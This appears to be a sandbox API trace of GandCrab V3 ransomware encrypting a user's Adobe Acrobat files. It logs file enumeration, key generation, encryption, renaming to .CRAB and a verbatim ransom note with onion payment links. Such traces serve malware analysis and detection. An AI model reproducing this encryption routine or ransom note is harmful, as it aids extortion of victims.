	[0109.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84
	[0109.069] lstrlenW (lpString=".acrodata") returned 9
	[0109.069] VirtualAlloc (lpAddress=0x0, dwSize=0x16, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.069] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".acrodata ") returned 10
	[0109.069] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84
	[0109.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="desktop.ini") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="autorun.inf") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="ntuser.dat") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="iconcache.db") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="bootsect.bak") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="boot.ini") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="ntuser.dat.log") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="thumbs.db") returned -1
	[0109.069] lstrcmpiW (lpString1="addressbook.acrodata", lpString2="CRAB-DECRYPT.txt") returned -1
	[0109.069] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.070] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB") returned 89
	[0109.070] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata")) returned 0x20
	[0109.071] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", dwFileAttributes=0x20) returned 1
	[0109.072] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata.crab")) returned 1
	[0109.072] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.072] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB"
	[0109.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB.CRAB"
	[0109.072] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0109.073] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.073] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.073] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0109.073] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.073] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.073] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0109.074] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.074] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.074] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0109.074] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.074] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.074] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.074] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.075] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0109.075] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd80a20) returned 1
	[0109.075] CryptGetKeyParam (in: hKey=0xd80a20, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0109.075] CryptEncrypt (in: hKey=0xd80a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0109.075] GetLastError () returned 0x0
	[0109.075] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.075] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0109.076] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd80aa0) returned 1
	[0109.076] CryptGetKeyParam (in: hKey=0xd80aa0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0109.076] CryptEncrypt (in: hKey=0xd80aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0109.076] GetLastError () returned 0x0
	[0109.076] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.076] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0109.076] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.077] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.077] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x2a8f, lpOverlapped=0x0) returned 1
	[0109.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2a90, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2a90, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.109] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.110] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffd571, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.110] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x2a90, lpOverlapped=0x0) returned 1
	[0109.110] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.110] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.113] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0109.113] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0109.113] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0109.114] CloseHandle (hObject=0x3e0) returned 1
	[0109.115] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.115] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.116] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.116] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.116] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.116] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.116] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.116] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRAB-DECRYPT.txt"
	[0109.116] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.117] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRAB-DECRYPT.txt") returned 80
	[0109.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRAB-DECRYPT.txt") returned 80
	[0109.117] lstrlenW (lpString=".txt") returned 4
	[0109.117] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.117] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.117] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRAB-DECRYPT.txt") returned 80
	[0109.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRAB-DECRYPT.txt") returned 80
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.117] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.118] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.118] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.118] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.118] lstrcmpW (lpString1="CRLCache", lpString2=".") returned 1
	[0109.118] lstrcmpW (lpString1="CRLCache", lpString2="..") returned 1
	[0109.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache"
	[0109.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\"
	[0109.118] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.118] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.119] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.119] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.119] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.119] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.119] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\\\CRAB-DECRYPT.txt") returned 90
	[0109.119] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0109.121] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.121] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0109.121] CloseHandle (hObject=0x3e0) returned 1
	[0109.121] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.122] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned 73
	[0109.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*"
	[0109.122] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xd80a60
	[0109.122] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.122] FindNextFileW (in: hFindFile=0xd80a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.122] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.122] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.122] FindNextFileW (in: hFindFile=0xd80a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.122] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2=".") returned 1
	[0109.122] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="..") returned 1
	[0109.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl"
	[0109.122] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.122] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117
	[0109.122] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117
	[0109.122] lstrlenW (lpString=".crl") returned 4
	[0109.123] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.123] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".crl ") returned 5
	[0109.123] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117
	[0109.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="desktop.ini") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="autorun.inf") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="ntuser.dat") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="iconcache.db") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="bootsect.bak") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="boot.ini") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="ntuser.dat.log") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="thumbs.db") returned -1
	[0109.123] lstrcmpiW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="CRAB-DECRYPT.txt") returned -1
	[0109.123] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.123] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB") returned 122
	[0109.123] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl")) returned 0x20
	[0109.124] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", dwFileAttributes=0x20) returned 1
	[0109.124] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.crab")) returned 1
	[0109.132] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.133] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB"
